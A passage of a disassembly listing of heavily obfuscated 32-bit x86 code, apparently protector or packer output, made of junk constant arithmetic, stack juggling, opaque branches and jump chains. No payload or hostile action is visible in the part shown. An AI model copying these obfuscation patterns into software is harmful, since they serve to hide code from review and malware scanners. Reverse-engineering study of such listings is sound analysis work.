; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
		push	ecx
		mov	ecx, 4
		push	ebx
; START	OF FUNCTION CHUNK FOR sub_5A491A


loc_5ACE36:				; CODE XREF: sub_5A491A-75F4j
		mov	bl, 82h
		xor	dh, bl
		pop	ebx
		sub	al, dh
		jmp	loc_5AC0FE
; END OF FUNCTION CHUNK	FOR sub_5A491A
; ---------------------------------------------------------------------------


loc_5ACE42:				; CODE XREF: sdfs____:005A4F9Dj
		mov	edx, 3EE76B96h
		sub	edx, 7A392ECFh
		sub	edx, 1
		and	edx, 3B511257h
		jb	loc_5AD866
		push	35AFh
		mov	[esp], eax
		push	esi
		push	ecx
		mov	ecx, 77CD456Eh
		mov	esi, 0EAEDA214h
		jmp	loc_5AADE2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DD36


loc_5ACE78:				; CODE XREF: sub_59DD36+B0ACj
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		add	ebp, 4
		push	4CF8h
		mov	[esp+4+var_4], ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp+8+var_8]
		add	esp, 4
		jmp	loc_59E30E
; END OF FUNCTION CHUNK	FOR sub_59DD36
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5ACE9E:				; CODE XREF: sub_5AA2D1-D948j
		mov	dx, word ptr [esp-0Ch+arg_8]
		add	esp, 2
		sub	al, 0AAh
		sub	al, cl
		jmp	loc_59A458
; ---------------------------------------------------------------------------


loc_5ACEB1:				; CODE XREF: sub_5AA2D1-42B5j
		mov	edi, 302D3C4Ah
		jmp	loc_5A7B57
; ---------------------------------------------------------------------------


loc_5ACEBB:				; CODE XREF: sub_5AA2D1-10FFCj
		pop	edx
		jmp	loc_5AC7EF
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4D9D


loc_5ACEC1:				; CODE XREF: sub_5A4D9D-7C78j
		add	edx, 0E0A08407h
		jmp	loc_5A0F92
; END OF FUNCTION CHUNK	FOR sub_5A4D9D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A7E7


loc_5ACECC:				; CODE XREF: sub_59A7E7+2Cj
		mov	dl, 0A3h
		jmp	loc_59FC67
; END OF FUNCTION CHUNK	FOR sub_59A7E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7BA0


loc_5ACED3:				; CODE XREF: sub_5A7BA0-A547j
		mov	[esp+4+var_4], esp
		add	[esp+4+var_4], 4
		push	[esp+4+var_4]
		pop	ebx
		add	esp, 4
		push	eax
		jmp	sub_5AF533
; END OF FUNCTION CHUNK	FOR sub_5A7BA0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABEF6


loc_5ACEE7:				; CODE XREF: sub_5ABEF6+2C6Fj
		sub	ebp, 6B6A2D70h
		push	ecx
		mov	ecx, 20645904h
		add	ecx, 2967016Dh
		add	ecx, 2B09F2FAh
		add	ebx, ecx
		pop	ecx
		add	ebx, ebp
		sub	ebx, 74D54D6Bh
		pop	ebp
		jmp	loc_5A737A
; END OF FUNCTION CHUNK	FOR sub_5ABEF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8215


loc_5ACF10:				; CODE XREF: sub_5A8215+2FAj
		mov	[esp+4+var_4], eax
		jmp	loc_5A8523
; END OF FUNCTION CHUNK	FOR sub_5A8215
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5ACF18:				; CODE XREF: sub_5AA2D1+4231j
		add	esp, 4
		add	eax, 4
		push	ebp
		push	esp
		pop	ebp
		push	edi
		mov	edi, 4
		add	ebp, edi
		pop	edi
		sub	ebp, 4
		jmp	loc_5A543C
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E28


loc_5ACF3A:				; CODE XREF: sub_5A2E28+4520j
		add	ecx, 13565F43h
		add	ecx, ebx
		sub	ecx, 13565F43h
		pop	ebx
		xchg	ecx, [esp-4+arg_0]
		mov	esp, [esp-4+arg_0]
		push	esi
		push	eax
		jmp	loc_599D4F
; END OF FUNCTION CHUNK	FOR sub_5A2E28
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A7E7


loc_5ACF56:				; CODE XREF: sub_59A7E7+5A0Aj
		add	esp, 4
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		jmp	loc_5A6866
; END OF FUNCTION CHUNK	FOR sub_59A7E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5ACF66:				; CODE XREF: sub_59D6B8+EFD9j
		pop	dword ptr [edi+20h]
		pop	ebx
		push	0B8Eh
		mov	[esp-0Ch+arg_8], ecx
		jmp	loc_5A5944
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5ACF77:				; CODE XREF: sub_5AA2D1-563Ej
		add	esi, 10012552h
		jmp	loc_5A90E6
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F3B6


loc_5ACF82:				; CODE XREF: sub_59F3B6+Fj
		mov	ebx, edx
		pop	edx
		push	edx
		mov	edx, 66BF1038h
		and	ebx, edx
		jmp	loc_5AC70F
; END OF FUNCTION CHUNK	FOR sub_59F3B6
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	608Eh
		mov	[esp], edi
		jmp	loc_59BADB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5ACFA3:				; CODE XREF: sub_5AA2D1-715Cj
		pop	edx
		push	dword ptr [esp+0]
		mov	ebx, [esp+4+var_4]
		push	577Ah
		mov	[esp+8+var_8], ecx
		jmp	loc_5A1393
; ---------------------------------------------------------------------------


loc_5ACFB7:				; CODE XREF: sub_5AA2D1-3579j
		mov	ebx, 4
		add	edi, ebx
		mov	ebx, [esp-28h+arg_24]
		add	esp, 4
		xchg	edi, [esp-2Ch+arg_28]
		mov	esp, [esp-2Ch+arg_28]
		xor	[esp-2Ch+arg_28], eax
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A26C


loc_5ACFD2:				; CODE XREF: sub_59A26C+1561Bj
		mov	edi, [esp-10h+arg_C]
		push	ecx
		mov	ecx, esp
		push	eax
		mov	eax, 24DB15C1h
		sub	eax, 5AF911C9h
		not	eax
		sub	eax, 361DFC03h
		jmp	loc_5A7B45
; END OF FUNCTION CHUNK	FOR sub_59A26C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5ACFEF:				; CODE XREF: sub_5AA2D1-2B0Dj
		push	21B2h
		jmp	loc_5A17E0
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CBE1


loc_5ACFF9:				; CODE XREF: sub_59CBE1+20DCj
		dec	eax
		jnz	loc_59CF37
		inc	eax
		sub	eax, 2C7B0B59h
		add	al, 6Bh
		mov	ch, ch


loc_5AD00A:				; CODE XREF: sub_5997FD+2151j
		xor	ebx, 7081369h
		jmp	loc_5AE7AD
; END OF FUNCTION CHUNK	FOR sub_59CBE1

; =============== S U B	R O U T	I N E =======================================



sub_5AD015	proc near		; CODE XREF: sub_5A0FFF-FFCj
					; DATA XREF: sdfs____:00598F58o

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005ABCE1 SIZE 0000000D BYTES

		push	7C7Dh
		mov	[esp+4+var_4], ebp
		jmp	loc_5ABCE1
sub_5AD015	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CBE1


loc_5AD022:				; CODE XREF: sub_59CBE1+11BD2j
		add	eax, ebx
		jmp	loc_5AB790
; END OF FUNCTION CHUNK	FOR sub_59CBE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA83C


loc_5AD029:				; CODE XREF: sub_5AA83C-C4A6j
		mov	esp, [esp+0]
		mov	[esp+0], ecx
		jmp	sub_5A9FFB
; END OF FUNCTION CHUNK	FOR sub_5AA83C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E41


loc_5AD034:				; CODE XREF: sub_5A2E41-DEDj
		mov	ecx, 7DA1383Fh
		jmp	loc_5A94A7
; END OF FUNCTION CHUNK	FOR sub_5A2E41
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD243


loc_5AD03E:				; CODE XREF: sub_5AD243-F7B9j
		pop	eax
		jmp	loc_59E811
; END OF FUNCTION CHUNK	FOR sub_5AD243
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A917C


loc_5AD044:				; CODE XREF: sub_5A917C+46C9j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+10h+var_10]
		pop	esp
		push	eax
		push	esp
		pop	eax
		push	23AFh
		mov	[esp+14h+var_14], ebx
		mov	ebx, 4
		add	eax, ebx
		pop	ebx
		jmp	loc_59C43B
; END OF FUNCTION CHUNK	FOR sub_5A917C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5AD069:				; CODE XREF: sub_59C979:loc_5A56C9j
		add	cl, 0B6h
		jno	loc_5AD49F
		or	cl, 76h
		jmp	loc_5A4CA5
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
		mov	ebx, eax
		push	ebx
; START	OF FUNCTION CHUNK FOR sub_5A8B3E


loc_5AD07D:				; CODE XREF: sub_5A8B3E+25F9j
		mov	[esp+4+var_4], ebx
		push	esp
		mov	ebx, [esp+8+var_8]
		jmp	loc_5A8B21
; END OF FUNCTION CHUNK	FOR sub_5A8B3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AD089:				; CODE XREF: sub_5AA2D1-27FDj
		add	ebx, edi
		jmp	loc_59A0CA
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6BBC


loc_5AD090:				; CODE XREF: sub_5A6BBC-4766j
		inc	ecx
		add	ecx, 2469242Bh
		and	ecx, 69B41F6Fh
		xor	ecx, 0D15012Eh
		xor	ebx, ecx
		pop	ecx
		add	ebp, ebx
		pop	ebx
		add	ebp, 4
		xchg	ebp, [esp+0Ch+var_C]
		pop	esp
		push	6698h
		mov	[esp+0Ch+var_C], edx
		push	ebp
		mov	ebp, 5837191Bh
		mov	edx, 0A7C8E6E9h
		add	edx, ebp
		pop	ebp
		push	ebx
		mov	ebx, 5A470658h
		xor	ebx, 9415D0h
		sub	ebx, 8DA855h
		add	edi, ebx
		pop	ebx
		jmp	loc_5A1201
; END OF FUNCTION CHUNK	FOR sub_5A6BBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AD0E3:				; CODE XREF: sub_5AA2D1-78C6j
		mov	word ptr [esp-1Ah+arg_14+2], dx
		mov	dl, 2Eh
		shr	dl, 2
		jmp	loc_5A5DD1
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A633D


loc_5AD0F1:				; CODE XREF: sub_5A633D-AE7Aj
		mov	ebp, ecx
		pop	ecx
		mov	edx, ebp
		jmp	loc_5A6FB7
; END OF FUNCTION CHUNK	FOR sub_5A633D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9B1D


loc_5AD0FB:				; CODE XREF: sub_5A9B1D-24E4j
		mov	eax, [esp+0]
		push	7E84h
		mov	[esp-8+arg_4], ebp
		mov	ebp, esp
		add	ebp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	esp, 4
		mov	[esp+0], esi
		mov	esi, 45D523A1h
		shl	esi, 2
		jp	loc_5A083F
		xor	esi, 17548E80h
		push	eax
		mov	eax, 742F2D08h
		pop	edx


loc_5AD13B:				; CODE XREF: sub_59E333+5225j
		add	eax, 5C8C2853h
		jmp	sub_59FC02
; END OF FUNCTION CHUNK	FOR sub_5A9B1D
; ---------------------------------------------------------------------------


loc_5AD145:				; CODE XREF: sdfs____:005A4F65j
		mov	esi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edi
		jmp	loc_5ACD8D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A79BE


loc_5AD157:				; CODE XREF: sub_5A79BE-C26Cj
		sub	esi, 9BD4ECFh
		jmp	loc_5ABF68
; END OF FUNCTION CHUNK	FOR sub_5A79BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F2D1


loc_5AD162:				; CODE XREF: sub_59F2D1-28EAj
		sub	[esp+10h+var_8], edi
		pop	edi
		sub	[esp+0Ch+var_8], 23173A99h
		pop	edx
		mov	ebp, [esp+8+var_8]
		jmp	loc_59A5C2
; END OF FUNCTION CHUNK	FOR sub_59F2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AD178:				; CODE XREF: sub_5AA2D1-583Fj
		sub	eax, edx
		pop	edx
		xchg	eax, [esp-10h+arg_C]
		pop	esp
		mov	[esp-14h+arg_10], edi
		push	[esp-14h+arg_14]
		pop	edi
		pop	[esp-14h+arg_10]
		mov	esp, [esp-18h+arg_14]
		sub	esp, 4
		mov	[esp-14h+arg_10], esi
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_59B39B
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD213


loc_5AD1A4:				; CODE XREF: sub_5AD213-79FBj
		add	esi, ebx
		sub	esi, 30524E56h
		pop	ebx
		xor	esi, [esp+8+var_8]
		xor	[esp+8+var_8], esi
		xor	esi, [esp+8+var_8]
		jmp	loc_5A66EA
; END OF FUNCTION CHUNK	FOR sub_5AD213
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2789


loc_5AD1BB:				; CODE XREF: sub_5A2789+6j
		mov	[esp+4+var_4], esi
		mov	esi, 45EE5940h
		add	edi, esi
		mov	esi, [esp+4+var_4]
		add	esp, 4
		or	edi, 286574C7h
		jmp	loc_5A8D76
; END OF FUNCTION CHUNK	FOR sub_5A2789
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AD1D9:				; CODE XREF: sub_5AA2D1-F52Bj
		jbe	loc_5AA281
		neg	ah
		jmp	loc_5A44C1
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
		mov	ebx, [esp]
		mov	eax, edi
; START	OF FUNCTION CHUNK FOR sub_5A7BA0


loc_5AD1EB:				; CODE XREF: sub_5A7BA0+8527j
		push	edi
		push	11A4h
		jmp	loc_5A9866
; END OF FUNCTION CHUNK	FOR sub_5A7BA0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE9FA


loc_5AD1F6:				; CODE XREF: sub_5AE9FA-D3FFj
		jnz	loc_5A998F
		and	edx, 5F6612BCh
		xor	edx, 4EB2269Bh
		pop	esi
; END OF FUNCTION CHUNK	FOR sub_5AE9FA
; START	OF FUNCTION CHUNK FOR sub_5AFA26


loc_5AD209:				; CODE XREF: sub_5AFA26+E6j
		push	[esp+0Ch+var_C]
		pop	eax
		push	edi
		jmp	loc_59AB2C
; END OF FUNCTION CHUNK	FOR sub_5AFA26

; =============== S U B	R O U T	I N E =======================================



sub_5AD213	proc near		; DATA XREF: sdfs____:00598F8Co

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059F73A SIZE 00000051 BYTES
; FUNCTION CHUNK AT 005A1D4F SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005A44DB SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A5817 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A66EA SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A6976 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005AB1F8 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005AD1A4 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005AF6C9 SIZE 00000013 BYTES

		push	ebx
		push	4AE3711Fh
		pop	ebx
		dec	ebx
		jle	loc_5AF6C9
		push	edx
		mov	edx, 48832CF8h
		xor	edx, 3FB02F99h
		add	ebx, edx
		mov	edx, [esp+8+var_8]
		add	esp, 4
		sub	ebx, 0C2167381h
		and	[edi+1Ch], ebx
		jmp	loc_5A1D4F
sub_5AD213	endp


; =============== S U B	R O U T	I N E =======================================



sub_5AD243	proc near		; CODE XREF: sub_59BA35+1C4Dj

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_10		= dword	ptr  14h

; FUNCTION CHUNK AT 005994C3 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059A4F9 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0059A63F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0059AAE5 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059B7B8 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0059D1F5 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0059DA68 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0059E811 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A1F55 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A6284 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A71A3 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005A83B6 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005AA68B SIZE 00000025 BYTES
; FUNCTION CHUNK AT 005AB902 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005AD03E SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005AF44F SIZE 00000017 BYTES

		push	ebp
		mov	ebp, 53082849h
		mov	eax, 0B1FD3DC4h
		jmp	loc_5A6284
sub_5AD243	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_5AD253:				; CODE XREF: sdfs____:005A9A59j
		add	ebx, 3184F9C8h
		jmp	loc_5A6997
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A21A4


loc_5AD25E:				; CODE XREF: sub_5A21A4+D97Ej
		sub	ebx, 4
		push	ebx
		jmp	loc_59F368
; END OF FUNCTION CHUNK	FOR sub_5A21A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E28


loc_5AD26A:				; CODE XREF: sub_5A2E28+4868j
		push	esi
		mov	esi, 0F9D20ADh
		shl	esi, 1
		push	ebp
		mov	ebp, 3A166C91h
		not	ebp
		and	ebp, 678625Dh
		shr	ebp, 1
		sub	ebp, 0B68F8523h
		xor	esi, ebp
		pop	ebp
		add	esi, 0FD54F683h
		jmp	loc_59ABB6
; END OF FUNCTION CHUNK	FOR sub_5A2E28
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B01F7


loc_5AD296:				; CODE XREF: sub_5B01F7-5B0j
		pop	ebp
		pop	eax
		shl	eax, 6
		shl	eax, 5
		push	2538h
		mov	[esp+0Ch+var_C], edx
		push	36CEh
		mov	[esp+10h+var_10], ecx
		mov	ecx, 62A25A30h
		xor	ecx, 693F3727h
		sub	ecx, 75262003h
		jbe	loc_5AD34F
		add	ecx, 11FBDAEAh
		mov	edx, ecx
		pop	ecx
		sub	eax, edx
		pop	edx
		mov	ecx, eax
; END OF FUNCTION CHUNK	FOR sub_5B01F7
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5AD2D3:				; CODE XREF: sub_59D6B8+4195j
		xor	ecx, edi
		jmp	loc_5AD596
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A94C


loc_5AD2DA:				; CODE XREF: sub_59A94C+4B90j
		push	3CB2h
		mov	[esp+0Ch+var_C], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	edi
		mov	edi, 653560DBh
		not	edi
		shr	edi, 1
		and	edi, 62234B28h
		or	edi, 0FD54EEh
		sub	edi, 40FD5FEAh
		add	ebx, edi
		jmp	loc_5AF0BD
; END OF FUNCTION CHUNK	FOR sub_59A94C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599E21


loc_5AD30D:				; CODE XREF: sub_599E21+1BE6j
		pop	esp
		bswap	eax
		push	2E38h
		mov	[esp-4+arg_0], eax
		jmp	loc_5A0A7A
; END OF FUNCTION CHUNK	FOR sub_599E21
; ---------------------------------------------------------------------------


loc_5AD31D:				; CODE XREF: sdfs____:005AF755j
		or	eax, 5552A34h
		jnz	loc_5A5B72
		sub	eax, 66430FD8h
		jo	loc_59ACB7
		xor	al, 4Ah
		pop	edi

; =============== S U B	R O U T	I N E =======================================



sub_5AD336	proc near		; DATA XREF: sdfs____:00598FE8o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005A01A1 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A4A9F SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005AECA0 SIZE 00000008 BYTES

		push	dword ptr [esp+0]
		push	[esp+4+var_4]
		pop	eax
		push	edi
		mov	edi, esp
		jmp	loc_5AECA0
sub_5AD336	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59ED98


loc_5AD345:				; CODE XREF: sub_59ED98+E664j
		sub	bl, al
		push	edx
		mov	dl, 4Ch
		jmp	loc_59E158
; END OF FUNCTION CHUNK	FOR sub_59ED98
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B01F7


loc_5AD34F:				; CODE XREF: sdfs____:0059E2F4j
					; sub_5B01F7-2F38j
		add	ecx, 11FBDAEAh
		mov	edx, ecx
		pop	ecx
		sub	eax, edx
		pop	edx
		sub	ecx, 5F6B763Ah
		jmp	loc_5AB8B0
; END OF FUNCTION CHUNK	FOR sub_5B01F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AD366:				; CODE XREF: sub_5AA2D1-CE12j
					; sdfs____:005A2FC9j
		push	edx
		jmp	loc_59B819
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5B27


loc_5AD36C:				; CODE XREF: sub_5A5B27+8B7Fj
		mov	bl, 5Ch
		jmp	sub_5A5AF2
; END OF FUNCTION CHUNK	FOR sub_5A5B27
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADD33


loc_5AD373:				; CODE XREF: sub_5ADD33-A4C4j
		push	dword ptr [esp+4]
		pop	edx
		pop	[esp+4+var_4]
		mov	esp, [esp+0]
		jmp	loc_5A8AB8
; END OF FUNCTION CHUNK	FOR sub_5ADD33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AD383:				; CODE XREF: sub_5AA2D1-F855j
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F463


loc_5AD388:				; CODE XREF: sub_59F463+1047Fj
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_59F463
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AF2D9


loc_5AD38D:				; CODE XREF: sub_5AF2D9-585Aj
		mov	ebp, [esp+10h+var_10]
		add	esp, 4
		or	ebp, 39B123A5h
		jnb	loc_59CC86
		push	eax
		mov	eax, 3B421345h
		and	ebp, eax
		push	[esp+10h+var_10]
		pop	eax
		mov	dh, al


loc_5AD3AD:				; CODE XREF: sub_5A2F58:loc_5A97A2j
		xor	ch, 8Dh
		push	bx
		jmp	loc_5AB511
; END OF FUNCTION CHUNK	FOR sub_5AF2D9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A580F


loc_5AD3B7:				; CODE XREF: sub_5A580F-3212j
		mov	edx, 20F06A17h
		sub	edx, 54B34414h
		jns	loc_5A9AB2
		not	edx
		add	edx, 41BB7FCDh
		jbe	loc_59B0C2
		dec	edx
		shl	edx, 1
		jmp	loc_59F540
; END OF FUNCTION CHUNK	FOR sub_5A580F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A63DC


loc_5AD3DE:				; CODE XREF: sub_5A63DC+4A28j
		mov	ebx, 1B86495Bh
		sub	ebx, 4DC14FA0h
		dec	ebx
		push	ecx
		jmp	loc_5A80C6
; END OF FUNCTION CHUNK	FOR sub_5A63DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE29C


loc_5AD3F0:				; CODE XREF: sub_5AE29C-E6F3j
		pop	edx
		jmp	loc_5AAE71
; END OF FUNCTION CHUNK	FOR sub_5AE29C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59ED98


loc_5AD3F6:				; CODE XREF: sub_59ED98-4123j
					; sub_5A5EFF-7513j
		sub	bl, 6Fh
		add	bl, 52h
		jmp	loc_5AD345
; END OF FUNCTION CHUNK	FOR sub_59ED98
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AD401:				; CODE XREF: sub_5AA2D1-BF06j
		mov	edi, 72767463h
		or	edi, 3FD6388Eh
		jb	loc_5A713B
		xor	edi, 2BFA0E5Eh
		xchg	eax, edi
		not	eax
		xchg	eax, edi
		inc	edi
		shr	edi, 2
		sub	edi, 1FE2541Dh
		sub	esp, 4
		mov	[esp+6+var_8+2], eax
		mov	eax, 10C56377h
		and	edi, eax
		jmp	loc_5AC260
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A4E8


loc_5AD43B:				; CODE XREF: sub_59A4E8+Cj
		push	esp
		jmp	loc_5A8534
; END OF FUNCTION CHUNK	FOR sub_59A4E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE3E


loc_5AD441:				; CODE XREF: sub_59EE3E+10057j
		pop	edx
		push	113Ah
		jmp	loc_5A7149
; END OF FUNCTION CHUNK	FOR sub_59EE3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A809B


loc_5AD44C:				; CODE XREF: sub_5A809B+4822j
		add	ecx, 4
		push	eax
		jmp	loc_5A65A5
; END OF FUNCTION CHUNK	FOR sub_5A809B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A477C


loc_5AD458:				; CODE XREF: sub_5A477C-50A1j
					; sdfs____:005A4866j
		mov	ebx, 6DD418B8h
		add	esi, ebx
		mov	ebx, [esp+0]
		add	esp, 4
		sub	esi, 0B4EE3A9Dh
		add	edx, 614A260Ch
		jmp	loc_59F64B
; END OF FUNCTION CHUNK	FOR sub_5A477C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D5EA


loc_5AD476:				; CODE XREF: sub_59D5EA+A786j
		sub	ecx, 0E871D052h
		sub	eax, 594F04AEh
		add	eax, 46C8242Dh
		add	eax, ecx
		sub	eax, 46C8242Dh
		push	ecx
		mov	ecx, 594F04AEh
		add	eax, ecx
		pop	ecx
		pop	ecx
		mov	ebx, [esp+0]
		jmp	sub_5AAE5E
; END OF FUNCTION CHUNK	FOR sub_59D5EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5AD49F:				; CODE XREF: sub_59C979+106F3j
		or	cl, 76h
		jmp	loc_5AC58A
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A10E3


loc_5AD4A7:				; CODE XREF: sub_5A10E3+CCF2j
		push	270F7FABh
		mov	esi, [esp+14h+var_14]
		add	esp, 4
		sub	esi, 41D1324Eh
		add	esi, 1AC1B2A3h
		push	edi
		mov	edi, esi
		mov	edx, edi
		pop	edi
		jmp	loc_5AB69E
; END OF FUNCTION CHUNK	FOR sub_5A10E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3C19


loc_5AD4CC:				; CODE XREF: sub_5A3C19-8999j
		push	[esp+arg_0]
		mov	ebx, [esp+4+var_4]
		jmp	loc_5A9494
; END OF FUNCTION CHUNK	FOR sub_5A3C19
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A913B


loc_5AD4D8:				; CODE XREF: sub_5A913B-B258j
		push	42B5h
		mov	[esp-0Ah+arg_4+2], edx
		push	ecx
		mov	ch, 0Eh
		sub	ch, 18h
		jmp	loc_5A2155
; END OF FUNCTION CHUNK	FOR sub_5A913B
